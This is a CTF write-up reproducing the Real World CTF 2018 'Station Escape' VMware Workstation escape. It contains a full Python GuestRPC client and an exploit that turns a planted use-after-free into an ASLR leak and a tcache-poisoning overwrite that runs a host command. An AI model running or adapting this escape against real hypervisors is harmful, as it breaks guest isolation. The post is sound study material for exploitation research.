Mid Station

[RealWorldCTF2018] Station Escape

赶在今年结束前把CTF中出现过的虚拟机逃逸利用都复现了,Vmware Workstation 和 VirtualBox、Qemu相比最大的难度自然是需要逆向方面,即使有Writeup的帮助还是花了不少时间。完成了这道题目感觉又向目标迈进了一步。😎

This is a chanllenge from Real World CTF 2018, heard about the party this year, really want to be there but didn’t earn a ticket in the qualification. Anyway, I’m following the writeup from r3kapig: Real World CTF 2018 Finals Station-Escape Writeup and try to reproduce the escape exploit.

You can setup the challenge environment with following information:

1
2
3
guest os:Ubuntu x64 1804  
VMWare Workstation:VMware-Workstation-Full-15.0.2-10952284.x86_64.bundle,https://drive.google.com/open?id=1SlojAhX0NCpWTPjASfM03v5QBvRtT-sp
patched VMX:https://drive.google.com/open?id=1MJQSQYufGtl9DQnG1osyMk_1YbgCPL-E

Recon

As it is showed in the writeup, the patches happen in 0x1893c9 and 0x1893e6.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// finish recv reply command
channel_id = (unsigned __int16)(0xAAAB * (unsigned __int64)(((char *)channel - (char *)&CHANNEL_LIST) >> 5));
logging(
(__int64)"GuestMsg: Channel %u, Unable to send a message\n",
(unsigned __int16)(0xAAAB * (unsigned __int64)(((char *)channel - (char *)&CHANNEL_LIST) >> 5)));
}
channel->status = 1;
channel->timestamp = VmTime_ReadVirtualTime();
[channel->out_msg_buf = 0;] // DELETED
sub_1D8D00(0, channel_id);
v6 = channel->close_handler;
reply_id = get_reg(3);
v6(channel->field_48, channel_id, reply_id & 0x21);// 0x1 -> 0x21; close_channel_handler(0x17700)
v8 = 0x10000;

in close_channel_handler(0x17700):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void __fastcall close_channel_handler(RPCI_Channel *a1, unsigned __int16 channel_id, char flag)
{
void *outbuf; // rdi

outbuf = (void *)a1->outbuf;
if ( flag & 0x20 )
{
free(outbuf);
}
else if ( !(flag & 0x10) )
{
sub_176D90(a1, 0);
if ( LOBYTE(a1->a5) )
{
logging((__int64)"GuestRpc: Closing RPCI backdoor channel %u after send completion\n", channel_id);
sub_189FE0(channel_id);
LOBYTE(a1->a5) = 0;
}
}
}

if we send a finish_recv_reply command with reply_id | 0x20, it will free the channel->outbuf but did not set it to 0, which leads to an UAF.

The GuestRPC backdoor interface

The GuestRPC backdoor interface was discussed in detailed in previous writeup. You can also found an outdated document from: https://sites.google.com/site/chitchatvmback/backdoor. r3kapig developed the exploit in C language, but I read about a blog from zdi, talking about how to develop a vmware backdoor interface in python: Pythonizing the VMware Backdoor. So I decide to develop my own exploit in python, with familiar library pwntools.

The first step is porting the assembly snippet to python, I found a method to execute assembly code with ctype.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
libc = CDLL("libc.so.6")
mprotect = libc.mprotect
mprotect.restype = c_int
mprotect.argtypes = [c_void_p, c_size_t, c_int]

def exec_asm(code):
pagesize = 0x1000
addr = addressof(cast(c_char_p(code), POINTER(c_char)).contents)
pagestart = addr & ~(pagesize -1)
if mprotect(pagestart, pagesize, 7):
raise RuntimeError("Failed to set permissions using mprotect()")
functype = CFUNCTYPE(c_int64)
f = functype(addr)
return f()

With the help of the handy asm function from pwntools and the recipe from previous writeup, I develop a python class to interactive with GuestRPC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
class GuestRPC():

def __init__(self, debug=False):
self.pagesize = 0x1000
self.cookie1 = -1
self.cookie2 = -1
self.id = -1
self.debug = debug

self.channel_open()

def __del__(self):
self.channel_close()

def send_msg(self, msg):
self.channel_set_len(len(msg))
self.channel_send_data(msg)

def recv_msg(self):
rid, length = self.channel_recv_len()
msg = self.channel_recv_data(rid, length)
self.channel_recv_finish(rid)
return msg

def recv_msg_uaf(self):
rid, length = self.channel_recv_len()
msg = self.channel_recv_data(rid, length)
self.channel_recv_finish(0x20 | rid)
return msg

def channel_open(self):
code = "nop;"*16 # use as buffer to retrive cookies
code += "mov eax, 0x564d5868;"
code += "mov ebx, 0xc9435052;"
code += "mov ecx, 0x1e;"
code += "mov edx, 0x5658;"
code += "in eax, dx;"
code += "mov eax, ecx;"
code += "mov [r11], esi;"
code += "mov [r11+4], edi;"
code += "mov [r11+8], edx;"
code += "ret;"
asm_code = asm(code)
ret = self.exec_asm(asm_code)
if not ret:
print "[!] Channel open failed."
return
self.cookie1 = u32(asm_code[0:4])
self.cookie2 = u32(asm_code[4:8])
self.id = u32(asm_code[8:12]) >> 16
if self.debug:
print "[+] Open Channel 0x%x, cookie1: 0x%x, cookie2: 0x%x" % (self.id, self.cookie1, self.cookie2)

def channel_set_len(self, length):
code = ""
code += "mov eax, 0x564d5868;"
code += "mov ebx, %d;" % length
code += "mov ecx, 0x0001001e;"
edx = self.id << 16 | 0x5658
code += "mov edx, %d;" % edx
code += "mov esi, %d;" % self.cookie1
code += "mov edi, %d;" % self.cookie2
code += "in eax, dx;"
code += "mov eax, ecx;"
code += "ret;"
asm_code = asm(code)
ret = self.exec_asm(asm_code)
if self.debug:
print "[-] Channel 0x%x, set len ret: 0x%x" % (self.id, ret)
if not ret:
print "[!] Channel 0x%x set length failed." % self.id
return

def channel_send_data(self, data):

def channel_send_dw(dw):
code = ""
code += "mov eax, 0x564d5868;"
code += "mov ebx, %d;" % dw
code += "mov ecx, 0x0002001e;"
edx = self.id << 16 | 0x5658
code += "mov edx, %d;" % edx
code += "mov esi, %d;" % self.cookie1
code += "mov edi, %d;" % self.cookie2
code += "in eax, dx;"
code += "mov eax, ecx;"
code += "ret;"
asm_code = asm(code)
ret = self.exec_asm(asm_code)
if self.debug:
print "[-]\t send 0x%x" % dw
return ret

group_num = int(ceil(len(data) / 4.0))
new_data = data.ljust(group_num * 4, "\x00")
for i in range(group_num):
sub_data = new_data[i*4: (i+1)*4]
ret = channel_send_dw(u32(sub_data))
if not ret:
print "[!] Send data error."
return
if self.debug:
print "[-] Channel 0x%x, send data: %s" % (self.id, data)

def channel_recv_len(self):
code = "nop;"*8 # use as buffer to retrive reply id
code += "mov eax, 0x564d5868;"
code += "mov ecx, 0x0003001e;"
edx = self.id << 16 | 0x5658
code += "mov edx, %d;" % edx
code += "mov esi, %d;" % self.cookie1
code += "mov edi, %d;" % self.cookie2
code += "in eax, dx;"
code += "mov [r11], edx;"
code += "mov [r11+4], ecx;"
code += "mov eax, ebx;"
code += "ret;"
asm_code = asm(code)
length = self.exec_asm(asm_code)
reply_id = u32(asm_code[0:4]) >> 16
ret = u32(asm_code[4:8])
if not ret:
print "[!] recv length error."
return None, None
if self.debug:
print "[-] Channel 0x%x, ret: 0x%x, reply_id: 0x%x, length: 0x%d" % (self.id, ret, reply_id, length)
return reply_id, length

def channel_recv_data(self, reply_id, length):

def channel_recv_dw():
code = "nop;"*8
code += "mov eax, 0x564d5868;"
code += "mov ecx, 0x0004001e;"
code += "mov ebx, %d;" % reply_id
edx = self.id << 16 | 0x5658
code += "mov edx, %d;" % edx
code += "mov esi, %d;" % self.cookie1
code += "mov edi, %d;" % self.cookie2
code += "in eax, dx;"
code += "mov [r11], ebx;"
code += "mov eax, ecx;"
code += "ret;"
asm_code = asm(code)
ret = self.exec_asm(asm_code)
dw = asm_code[0:4]
# print "ret: 0x%x" % ret
if not ret:
print "[!] recv data error."
return None
if self.debug:
print "[-]\t recv: %s" % dw
return dw

group_num = int(ceil(length / 4.0))
data = ""
for i in range(group_num):
sub_data = channel_recv_dw()
if sub_data:
data += sub_data
if self.debug:
print "[-] Channel 0x%x: recv: %s" % (self.id, data.strip("\x00"))
return data.strip("\x00")

def channel_recv_finish(self, reply_id):
code = ""
code += "mov eax, 0x564d5868;"
code += "mov ecx, 0x0005001e;"
code += "mov ebx, %d;" % reply_id
edx = self.id << 16 | 0x5658
code += "mov edx, %d;" % edx
code += "mov esi, %d;" % self.cookie1
code += "mov edi, %d;" % self.cookie2
code += "in eax, dx;"
code += "mov eax, ecx;"
code += "ret;"
asm_code = asm(code)
ret = self.exec_asm(asm_code)
if self.debug:
print "[-] Channel 0x%x, ret: 0x%x, finish." % (self.id, ret)
if not ret:
print "[!] recv finish error. ret: 0x%x" % ret

def channel_close(self):
code = ""
code += "mov eax, 0x564d5868;"
code += "mov ecx, 0x0006001e;"
edx = self.id << 16 | 0x5658
code += "mov edx, %d;" % edx
code += "mov esi, %d;" % self.cookie1
code += "mov edi, %d;" % self.cookie2
code += "in eax, dx;"
code += "mov eax, ecx;"
code += "ret;"
asm_code = asm(code)
ret = self.exec_asm(asm_code)
if self.debug:
print "[-] Channel 0x%x, ret: 0x%x, close." % (self.id, ret)
if not ret:
print "[!] channel close error. ret: 0x%x" % ret

def exec_asm(self, code):
addr = addressof(cast(c_char_p(code), POINTER(c_char)).contents)
pagestart = addr & ~(self.pagesize -1)
if mprotect(pagestart, self.pagesize, 7):
raise RuntimeError("Failed to set permissions using mprotect()")
functype = CFUNCTYPE(c_int64)
f = functype(addr)
return f()

def get_id(self):
return self.id

def test(self):
test_cmd = cyclic(0x20)
c1.send_msg("info-set guestinfo.a %s" % test_cmd)
recv_msg = c1.recv_msg()
c1.send_msg("info-get guestinfo.a")
recv_msg = c1.recv_msg().split()
assert recv_msg[0] == "1" and recv_msg[1] == test_cmd

We can test the channel like:

1
2
c1 = GuestRPC(True)
c1.test()

Exploit

Let’s use some graphs to illustrate the exploit step:
first we allocate a out buffer with channel2.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
                    Channel1.run_cmd("info-set guestinfo.a "A"*100")

Channel2.send_cmd("info-get guestinfo.a")

+-------------------------+ +-------------------------+ +-------------------------+
| Channel2 | | Channel3 | | Channel4 |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
+-----------+-------------+ +-------------------------+ +-------------------------+
|
|
| +-------------------------+
| | outbuf(0x103) |
+------------------>+"1 AAAAAAAAAAA...." |
| |
| |
| |
+-------------------------+

then we trigger the bug and free the outbuf, and make it occupied by channel3->outbuf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
                               cmd = "info-get guestinfo.a"
Channel3.set_len(len(cmd))
Channel3.send_data(cmd[:-4])
Channel2.recv_finish(rid|0x20)
Channel3.send_data(cmd[-4:])

+-------------------------+ +-------------------------+ +-------------------------+
| Channel2 | | Channel3 | | Channel4 |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
+-----------+-------------+ +-----------+-------------+ +-------------------------+
| |
| v
| +-----------+-------------+
| | outbuf(0x103) |
+------------------>+ FD |
|"AAAAAAAAAAAAA...." |
| |
| |
+-------------------------+

then we close channel2 to free the outbuf again and make a sturcture to occupy it by sending vmx.capability.dnd_version command. Then we can leak a address from .text by receiving reply from channel3.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
                                Channel2.close()
Channel4.run_cmd("vmx.capability.dnd_version")




+-------------------------+ +-------------------------+ +-------------------------+
| Channel2 | | Channel3 | | Channel4 |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
+-------------------------+ +-----------+-------------+ +------------+------------+
| |
v |
+-----------+-------------+ +-----+------+
| outbuf(0x103) | |some struct |
|ptr from .text | <----------+ |
| | +------------+
| |
| |
+-------------------------+

After leaking the .text address and bypass ASLR, the exploit is straightforward, using the tcache posion technique, we can overwrite a function pointer on bss at 0xfe95b8, I called it rpic_cmd_handler, because it will be hitted when a command is received. We have system@plt on the binary so no need to leak the libc address.

the code is as follow:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
# leak
c1 = GuestRPC(DEBUG)
c1.send_msg("info-set guestinfo.a %s" % ("A" * 0x100))
c1.recv_msg() # "1"
del c1

cmd = "info-get guestinfo.a"
c2 = GuestRPC(DEBUG)

c2.channel_set_len(len(cmd))
c2.channel_send_data(cmd)
rid, length = c2.channel_recv_len()
data = c2.channel_recv_data(rid, length)
print hexdump(data)
print "c2 recv: %s" % data

c3 = GuestRPC(DEBUG)
c4 = GuestRPC(DEBUG)
c3.channel_set_len(len(cmd))
c3.channel_send_data(cmd[:-4])
# free c2->outbuf and occpy it with c3 outbuf
c2.channel_recv_finish(rid|0x20) # bug

c3.channel_send_data(cmd[-4:])

# free c2->outbuf again
del c2
# now c3->outbuf is in tcache[0x110]

# try to occpy the slot with some struct
c4.send_msg("vmx.capability.dnd_version")
c4.recv_msg()

# leak code address by receiving c3->outbuf
rid, length = c3.channel_recv_len()
data = c3.channel_recv_data(rid, length)
print hexdump(data)
leak = u64(data[:8])
print "leak: 0x%x" % leak
code = leak - 0xf818d0
print "code: 0x%x" % code
del c3
del c4

# exploit
cmd = "info-get guestinfo.b"
c1 = GuestRPC(DEBUG)
c2 = GuestRPC(DEBUG)
c3 = GuestRPC(DEBUG)
c4 = GuestRPC(DEBUG)
c5 = GuestRPC(DEBUG)
c1.send_msg("info-set guestinfo.b %s" % ("B" * 0x100))
c1.recv_msg()
del c1

c1 = GuestRPC(DEBUG)
c1.send_msg(cmd)
rid, length = c1.channel_recv_len()
data = c1.channel_recv_data(rid, length)
print hexdump(data)

c1.channel_recv_finish(rid|0x20) # free c1->outbuf
c2.channel_set_len(0x102) # occupy with c2->inbuf
del c1 # free c1->outbuf again


target = code + 0xfe95b8
system = code + 0xecfd0
print "target : 0x%x" % target
c2.channel_send_data(p64(target))
c3.channel_set_len(0x102)

c4.channel_set_len(0x102)
payload = p64(system)
payload += p64(target+0x10)
payload += "gnome-calculator\x00"
c4.channel_send_data(payload)

c5.send_msg("whatever")

del c2
del c3
del c4

Demo

station escapestation escape

Reference

  1. Real World CTF 2018 Finals Station-Escape Writeup
  2. https://sites.google.com/site/chitchatvmback/backdoor
  3. Pythonizing the VMware Backdoor